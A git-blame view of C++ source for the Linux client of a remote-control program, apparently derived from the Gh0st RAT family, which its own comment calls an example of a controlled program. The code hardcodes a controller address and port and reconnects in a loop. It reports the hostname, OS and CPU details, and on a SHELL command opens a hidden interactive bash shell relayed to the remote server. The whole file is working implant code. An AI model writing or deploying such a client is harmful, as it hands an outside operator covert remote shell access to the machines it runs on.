2026-01-02 20:00:18 +01:00
|
|
|
|
#include "common/commands.h"
|
2025-04-06 19:35:20 +08:00
|
|
|
|
#include "client/IOCPClient.h"
|
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
|
#include <sys/utsname.h>
|
|
|
|
|
|
#include <string.h>
|
|
|
|
|
|
#include <termios.h>
|
|
|
|
|
|
#include <thread>
|
|
|
|
|
|
#include <fcntl.h>
|
|
|
|
|
|
#include <atomic>
|
2026-02-02 20:17:08 +01:00
|
|
|
|
#include <cerrno>
|
|
|
|
|
|
#include <csignal>
|
|
|
|
|
|
#include <sys/wait.h>
|
2025-04-06 19:35:20 +08:00
|
|
|
|
#include <pty.h>
|
|
|
|
|
|
#include <iostream>
|
|
|
|
|
|
#include <stdexcept>
|
|
|
|
|
|
#include <cstdio>
|
|
|
|
|
|
#include <memory>
|
|
|
|
|
|
#include <array>
|
|
|
|
|
|
#include <regex>
|
|
|
|
|
|
#include <fstream>
|
|
|
|
|
|
|
|
|
|
|
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
|
|
|
|
|
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 全局状态
|
2025-04-15 21:37:01 +08:00
|
|
|
|
State g_bExit = S_CLIENT_NORMAL;
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 伪终端处理类:继承自IOCPManager.
|
2025-10-15 04:32:59 +08:00
|
|
|
|
class PTYHandler : public IOCPManager
|
|
|
|
|
|
{
|
|
|
|
|
|
public:
|
2026-02-02 20:17:08 +01:00
|
|
|
|
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
{
|
|
|
|
|
|
if (!client) {
|
|
|
|
|
|
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 创建伪终端
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
|
|
|
|
|
throw std::runtime_error("Failed to create pseudo terminal");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 设置伪终端为非阻塞模式
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
|
|
|
|
|
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 启动 Shell 进程
|
2025-10-15 04:32:59 +08:00
|
|
|
|
startShell();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
~PTYHandler()
|
|
|
|
|
|
{
|
|
|
|
|
|
m_running = false;
|
|
|
|
|
|
if (m_readThread.joinable()) m_readThread.join();
|
|
|
|
|
|
close(m_master_fd);
|
|
|
|
|
|
close(m_slave_fd);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
if (m_child_pid > 0) {
|
|
|
|
|
|
kill(m_child_pid, SIGTERM);
|
|
|
|
|
|
waitpid(m_child_pid, nullptr, 0);
|
|
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 启动读取线程
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void Start()
|
|
|
|
|
|
{
|
2026-02-02 20:17:08 +01:00
|
|
|
|
bool expected = false;
|
|
|
|
|
|
if (!m_running.compare_exchange_strong(expected, true)) return;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
virtual VOID OnReceive(PBYTE data, ULONG size)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (size && data[0] == COMMAND_NEXT) {
|
|
|
|
|
|
Start();
|
|
|
|
|
|
return;
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string s((char*)data, size);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
Mprintf("%s", s.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (size > 0) {
|
2026-02-02 20:17:08 +01:00
|
|
|
|
ssize_t total = 0;
|
|
|
|
|
|
while (total < (ssize_t)size) {
|
|
|
|
|
|
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
|
|
|
|
|
|
if (written == -1) {
|
|
|
|
|
|
if (errno == EAGAIN || errno == EINTR) continue;
|
|
|
|
|
|
Mprintf("OnReceive: write error %d\n", errno);
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
total += written;
|
|
|
|
|
|
}
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
private:
|
|
|
|
|
|
int m_master_fd, m_slave_fd;
|
2026-02-02 20:17:08 +01:00
|
|
|
|
IOCPClient* m_client;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::thread m_readThread;
|
|
|
|
|
|
std::atomic<bool> m_running;
|
|
|
|
|
|
pid_t m_child_pid;
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
void startShell()
|
|
|
|
|
|
{
|
|
|
|
|
|
m_child_pid = fork();
|
2026-02-02 20:17:08 +01:00
|
|
|
|
if (m_child_pid == -1) {
|
|
|
|
|
|
close(m_master_fd);
|
|
|
|
|
|
close(m_slave_fd);
|
|
|
|
|
|
throw std::runtime_error("Failed to fork shell process");
|
|
|
|
|
|
}
|
|
|
|
|
|
if (m_child_pid == 0) { // 子进程
|
|
|
|
|
|
setsid(); // 创建新的会话
|
2025-10-15 04:32:59 +08:00
|
|
|
|
dup2(m_slave_fd, STDIN_FILENO);
|
|
|
|
|
|
dup2(m_slave_fd, STDOUT_FILENO);
|
|
|
|
|
|
dup2(m_slave_fd, STDERR_FILENO);
|
|
|
|
|
|
close(m_master_fd);
|
|
|
|
|
|
close(m_slave_fd);
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
2025-10-15 04:32:59 +08:00
|
|
|
|
const char* shell_cmd =
|
2026-02-02 20:17:08 +01:00
|
|
|
|
"stty -echo -icanon; " // 禁用回显和规范模式
|
|
|
|
|
|
"export TERM=dumb; " // 设置终端类型为 dumb
|
|
|
|
|
|
"export LS_COLORS=''; " // 禁用颜色
|
|
|
|
|
|
"export PS1='>'; " // 设置提示符
|
|
|
|
|
|
//"clear; " // 清空终端
|
|
|
|
|
|
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
2025-10-15 04:32:59 +08:00
|
|
|
|
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
|
|
|
|
|
exit(1);
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void readFromPTY()
|
|
|
|
|
|
{
|
|
|
|
|
|
char buffer[4096];
|
|
|
|
|
|
while (m_running) {
|
2026-02-02 20:17:08 +01:00
|
|
|
|
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (bytes_read > 0) {
|
|
|
|
|
|
if (m_client) {
|
2026-02-02 20:17:08 +01:00
|
|
|
|
buffer[bytes_read] = '\0';
|
|
|
|
|
|
Mprintf("%s", buffer);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
m_client->Send2Server(buffer, bytes_read);
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else if (bytes_read == -1) {
|
|
|
|
|
|
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
|
|
|
|
|
usleep(10000);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Mprintf("readFromPTY: read error %d\n", errno);
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
|
|
|
|
|
};
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
void* ShellworkingThread(void* param)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
{
|
2026-02-02 20:17:08 +01:00
|
|
|
|
try {
|
|
|
|
|
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
|
|
|
|
|
void* clientAddr = ClientObject.get();
|
|
|
|
|
|
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
|
|
|
|
|
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
|
|
|
|
|
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
|
|
|
|
|
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
|
|
|
|
BYTE bToken = TOKEN_SHELL_START;
|
|
|
|
|
|
ClientObject->Send2Server((char*)&bToken, 1);
|
|
|
|
|
|
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", clientAddr);
|
|
|
|
|
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
|
|
|
|
|
Sleep(1000);
|
|
|
|
|
|
}
|
|
|
|
|
|
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
|
|
|
|
|
} catch (const std::exception& e) {
|
|
|
|
|
|
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
|
|
|
|
|
return NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|
|
|
|
|
{
|
2026-02-02 20:17:08 +01:00
|
|
|
|
if (szBuffer == nullptr || ulLength == 0)
|
2025-04-06 19:35:20 +08:00
|
|
|
|
return TRUE;
|
|
|
|
|
|
|
|
|
|
|
|
if (szBuffer[0] == COMMAND_BYE) {
|
|
|
|
|
|
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
2025-04-15 21:37:01 +08:00
|
|
|
|
g_bExit = S_CLIENT_EXIT;
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else if (szBuffer[0] == COMMAND_SHELL) {
|
|
|
|
|
|
std::thread(ShellworkingThread, nullptr).detach();
|
2025-04-06 19:35:20 +08:00
|
|
|
|
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else if (szBuffer[0] == COMMAND_NEXT) {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
|
|
|
|
|
}
|
|
|
|
|
|
return TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 方法1: 解析 lscpu 命令(优先使用)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
double parse_lscpu()
|
|
|
|
|
|
{
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::array<char, 128> buffer;
|
|
|
|
|
|
std::string result;
|
|
|
|
|
|
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
|
|
|
|
|
if (!pipe) return -1.0;
|
|
|
|
|
|
|
|
|
|
|
|
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
|
|
|
|
|
result += buffer.data();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz")
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::regex model_regex("@ ([0-9.]+)GHz");
|
|
|
|
|
|
std::smatch match;
|
|
|
|
|
|
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
2026-02-02 20:17:08 +01:00
|
|
|
|
try {
|
|
|
|
|
|
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
|
|
|
|
|
} catch (...) {}
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 方法2: 解析 /proc/cpuinfo(备用)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
double parse_cpuinfo()
|
|
|
|
|
|
{
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::ifstream cpuinfo("/proc/cpuinfo");
|
|
|
|
|
|
std::string line;
|
|
|
|
|
|
std::regex freq_regex("@ ([0-9.]+)GHz");
|
|
|
|
|
|
|
|
|
|
|
|
while (std::getline(cpuinfo, line)) {
|
|
|
|
|
|
if (line.find("model name") != std::string::npos) {
|
|
|
|
|
|
std::smatch match;
|
|
|
|
|
|
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
2026-02-02 20:17:08 +01:00
|
|
|
|
try {
|
|
|
|
|
|
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
|
|
|
|
|
} catch (...) {}
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能.
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int main()
|
|
|
|
|
|
{
|
2026-02-02 20:17:08 +01:00
|
|
|
|
char hostname[256] = {};
|
2025-04-06 19:35:20 +08:00
|
|
|
|
if (gethostname(hostname, sizeof(hostname)) == 0) {
|
|
|
|
|
|
std::cout << "Hostname: " << hostname << std::endl;
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::cerr << "Failed to get hostname" << std::endl;
|
|
|
|
|
|
}
|
2026-02-02 20:17:08 +01:00
|
|
|
|
struct utsname systemInfo = {};
|
2025-04-06 19:35:20 +08:00
|
|
|
|
if (uname(&systemInfo) == 0) {
|
|
|
|
|
|
std::cout << "System Name: " << systemInfo.sysname << std::endl;
|
2026-02-02 20:17:08 +01:00
|
|
|
|
}
|
|
|
|
|
|
else {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::cerr << "Failed to get system info" << std::endl;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
LOGIN_INFOR logInfo;
|
2026-02-02 20:17:08 +01:00
|
|
|
|
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
|
|
|
|
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
|
|
|
|
|
strncpy(logInfo.OsVerInfoEx, systemInfo.sysname, sizeof(logInfo.OsVerInfoEx) - 1);
|
|
|
|
|
|
logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0';
|
|
|
|
|
|
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
|
|
|
|
|
|
logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0';
|
|
|
|
|
|
double freq = parse_lscpu(); // 优先使用 lscpu
|
|
|
|
|
|
if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo
|
2025-04-06 19:35:20 +08:00
|
|
|
|
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
|
|
|
|
|
logInfo.bWebCamIsExist = 0;
|
2025-04-07 18:18:36 +08:00
|
|
|
|
strcpy_s(logInfo.szReserved, "LNX");
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
|
|
|
|
|
|
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
while (!g_bExit) {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
clock_t c = clock();
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
Sleep(5000);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
continue;
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-02 20:17:08 +01:00
|
|
|
|
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
2025-04-06 19:35:20 +08:00
|
|
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
Sleep(5000);
|
2026-02-02 20:17:08 +01:00
|
|
|
|
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit);
|
2025-04-06 19:35:20 +08:00
|
|
|
|
}
|
2025-10-15 04:32:59 +08:00
|
|
|
|
|
2025-04-06 19:35:20 +08:00
|
|
|
|
return 0;
|
|
|
|
|
|
}
|